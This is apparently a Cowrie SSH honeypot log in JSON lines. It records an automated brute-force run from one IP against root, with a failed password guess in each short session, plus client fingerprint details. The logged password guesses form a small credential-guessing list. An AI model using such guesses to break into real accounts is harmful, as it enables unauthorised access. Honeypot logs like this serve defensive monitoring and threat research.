{"eventid":"cowrie.login.failed","username":"root","password":"Serverd5c57ea78e6c1@","message":"login attempt [root/Serverd5c57ea78e6c1@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:16.612606Z","src_ip":"60.165.124.241","session":"ffb66dbc0e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:17.852009Z","src_ip":"60.165.124.241","session":"ffb66dbc0e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42432,"dst_ip":"10.17.0.5","dst_port":22,"session":"766c0768d9cd","protocol":"ssh","message":"New connection: 60.165.124.241:42432 (10.17.0.5:22) [session: 766c0768d9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:18.089035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:18.094448Z","src_ip":"60.165.124.241","session":"766c0768d9cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:18.333401Z","src_ip":"60.165.124.241","session":"766c0768d9cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhbjETuyMffoL8F","message":"login attempt [root/zhbjETuyMffoL8F] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:19.071837Z","src_ip":"60.165.124.241","session":"766c0768d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:20.327643Z","src_ip":"60.165.124.241","session":"766c0768d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45856,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e0364a03ac3","protocol":"ssh","message":"New connection: 60.165.124.241:45856 (10.17.0.5:22) [session: 1e0364a03ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:20.571571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:20.576564Z","src_ip":"60.165.124.241","session":"1e0364a03ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:20.834376Z","src_ip":"60.165.124.241","session":"1e0364a03ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1121","message":"login attempt [root/1121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:21.593544Z","src_ip":"60.165.124.241","session":"1e0364a03ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:22.844244Z","src_ip":"60.165.124.241","session":"1e0364a03ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48942,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecdbb5d51039","protocol":"ssh","message":"New connection: 60.165.124.241:48942 (10.17.0.5:22) [session: ecdbb5d51039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:23.093183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:23.098969Z","src_ip":"60.165.124.241","session":"ecdbb5d51039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:23.352413Z","src_ip":"60.165.124.241","session":"ecdbb5d51039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sagar@123","message":"login attempt [root/Sagar@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:24.112181Z","src_ip":"60.165.124.241","session":"ecdbb5d51039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:25.360004Z","src_ip":"60.165.124.241","session":"ecdbb5d51039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52378,"dst_ip":"10.17.0.5","dst_port":22,"session":"9580e3512cb0","protocol":"ssh","message":"New connection: 60.165.124.241:52378 (10.17.0.5:22) [session: 9580e3512cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:25.622347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:25.627164Z","src_ip":"60.165.124.241","session":"9580e3512cb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:25.891059Z","src_ip":"60.165.124.241","session":"9580e3512cb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpine","message":"login attempt [root/alpine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:26.666232Z","src_ip":"60.165.124.241","session":"9580e3512cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:27.925864Z","src_ip":"60.165.124.241","session":"9580e3512cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55852,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c4aec0b4273","protocol":"ssh","message":"New connection: 60.165.124.241:55852 (10.17.0.5:22) [session: 4c4aec0b4273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:28.161891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:28.166610Z","src_ip":"60.165.124.241","session":"4c4aec0b4273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:28.413849Z","src_ip":"60.165.124.241","session":"4c4aec0b4273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aA@","message":"login attempt [root/123456aA@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:29.150344Z","src_ip":"60.165.124.241","session":"4c4aec0b4273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:30.388524Z","src_ip":"60.165.124.241","session":"4c4aec0b4273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58744,"dst_ip":"10.17.0.5","dst_port":22,"session":"46fbf01f25cf","protocol":"ssh","message":"New connection: 60.165.124.241:58744 (10.17.0.5:22) [session: 46fbf01f25cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:30.633151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:30.642486Z","src_ip":"60.165.124.241","session":"46fbf01f25cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:30.895696Z","src_ip":"60.165.124.241","session":"46fbf01f25cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superzxmn","message":"login attempt [root/superzxmn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:31.635339Z","src_ip":"60.165.124.241","session":"46fbf01f25cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:32.891829Z","src_ip":"60.165.124.241","session":"46fbf01f25cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33910,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a00c8624ca1","protocol":"ssh","message":"New connection: 60.165.124.241:33910 (10.17.0.5:22) [session: 7a00c8624ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:33.160510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:33.165017Z","src_ip":"60.165.124.241","session":"7a00c8624ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:33.421645Z","src_ip":"60.165.124.241","session":"7a00c8624ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"end123","message":"login attempt [root/end123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:34.214176Z","src_ip":"60.165.124.241","session":"7a00c8624ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:35.476933Z","src_ip":"60.165.124.241","session":"7a00c8624ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37180,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2047f61bfc4","protocol":"ssh","message":"New connection: 60.165.124.241:37180 (10.17.0.5:22) [session: f2047f61bfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:36.728602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:36.738286Z","src_ip":"60.165.124.241","session":"f2047f61bfc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:36.984658Z","src_ip":"60.165.124.241","session":"f2047f61bfc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cc123456!","message":"login attempt [root/Cc123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:38.503301Z","src_ip":"60.165.124.241","session":"f2047f61bfc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:39.751678Z","src_ip":"60.165.124.241","session":"f2047f61bfc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42820,"dst_ip":"10.17.0.5","dst_port":22,"session":"b981f9170689","protocol":"ssh","message":"New connection: 60.165.124.241:42820 (10.17.0.5:22) [session: b981f9170689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:39.977168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:46:39.981966Z","src_ip":"60.165.124.241","session":"b981f9170689","protocol":"ssh"}
